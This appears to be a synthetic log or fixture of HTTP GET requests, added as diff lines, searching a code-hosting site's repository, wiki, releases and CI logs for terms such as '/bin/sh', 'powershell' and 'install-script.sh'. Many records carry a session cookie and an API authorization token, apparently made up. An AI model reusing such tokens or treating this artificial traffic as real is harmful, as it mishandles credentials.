+{"method": "GET", "target": "/alice?tab=repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=install-script.sh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=%2Fbin%2Fsh&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
